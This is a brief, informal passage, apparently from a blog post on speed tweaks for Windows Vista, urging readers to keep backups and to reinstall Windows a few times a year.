have you ever had your system crash beyond recovery? sure. was it ever a major setback if you had backups? well, maybe... bah, it's up to you. this was going to be #7 until i realized how many people would complain that they don't like reinstalling windows when they have an unrecoverable error... but you really should do it anyway 2-3 times a year. make backups!
Post.aspx?Title=Top+10+Speed+Tweaks+for+Windows+Vista